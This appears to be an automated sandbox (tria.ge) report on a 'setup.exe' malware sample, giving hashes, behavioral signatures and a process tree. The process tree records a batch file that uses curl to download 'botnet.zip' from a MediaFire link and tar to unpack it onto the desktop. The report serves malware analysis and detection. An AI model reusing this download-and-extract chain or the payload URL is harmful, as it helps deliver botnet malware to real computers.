Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
1161s -
max time network
1166s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
17/08/2023, 21:08
Static task
static1
Behavioral task
behavioral1
Sample
setup.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
setup.exe
Resource
win10v2004-20230703-en
General
-
Target
setup.exe
-
Size
90KB
-
MD5
f0320cbabc449eb7dbef3b1dc5d22038
-
SHA1
a89eb6460594feb2a6721a26ad8302a9f6176d73
-
SHA256
0484cfb664a50ded3995d8b238ab2e6270a0687a199b1b1cf4044ac21c86d459
-
SHA512
677908d4dc804a0856c4af18d1f4063f9f49a81c459acfab01a549bcea11d67d39660000ac00e63609d6fc9fbd7df2e986b508743367348629a8f0760802cfaf
-
SSDEEP
1536:v7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfCwdOz:D7DhdC6kzWypvaQ0FxyNTBfCD
Malware Config
Signatures
-
Delays execution with timeout.exe 1 IoCs
pid Process 4600 timeout.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3544 wrote to memory of 3740 3544 setup.exe 82 PID 3544 wrote to memory of 3740 3544 setup.exe 82 PID 3740 wrote to memory of 1952 3740 cmd.exe 83 PID 3740 wrote to memory of 1952 3740 cmd.exe 83 PID 3740 wrote to memory of 1976 3740 cmd.exe 93 PID 3740 wrote to memory of 1976 3740 cmd.exe 93 PID 3740 wrote to memory of 4600 3740 cmd.exe 94 PID 3740 wrote to memory of 4600 3740 cmd.exe 94
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3544 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\68CC.tmp\68CD.tmp\68CE.bat C:\Users\Admin\AppData\Local\Temp\setup.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Windows\system32\curl.execurl -o botnet.zip https://download1654.mediafire.com/kuua0yqs84fggVARcWwN7HR_W2OC6J74shqHA7YVkSOtuD4T1_7OBFWnfyfALAdyAA0uacZSw6A3LhkXRy6FqI3igY-KiT8HJKETkje_DcfGADLuUn0c5YHDE-dvKMNA9mM9xP9IuQ50ySNQ0EYk5lsDtMSwoT-d-SzfqSiP8Yhn/f0hnyfm9ztyxr3j/1234.rar3⤵PID:1952
-
-
C:\Windows\system32\tar.exetar -xf botnet.zip -C C:\Users\Administrator\Desktop\3⤵PID:1976
-
-
C:\Windows\system32\timeout.exeTimeout /t 5 /nobreak3⤵
- Delays execution with timeout.exe
PID:4600
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
908B
MD503725acb44af5b566d7ac3cb106cdf71
SHA1ed76e05c7d21feedf8f9e5f28c68ffb747afdc2f
SHA256c730a618518ba1872434365b30e5d28326a43a935a95347d2b23eedcdb75545d
SHA5121d0e4e2c50605a3c3f6d898b1333e2a6b2095de8f5a11d77cec477bb399bbea45d7655a87d35026a65d871b49cbda2ba6f22cfaffdf6a20d9fa7c0e95c40c0e1
-
Filesize
78.5MB
MD534c38c721f1fef9f3ed98be48dff3e90
SHA1b64214f58e9d169e1fd212465fcf84cbf88a4f8a
SHA256ee15d9a8ada76102b18fa6e3525bb964ddf183da6cb76bbe376dbe8976f25215
SHA51299b0c9ca70ba29d4b0261d9347b8b9646eec04ad49d7f496e66e41d19c56fbed735e755e1162ce915dd941f4ba0591a260fa07ba43cc2876b32b33b9315e92f6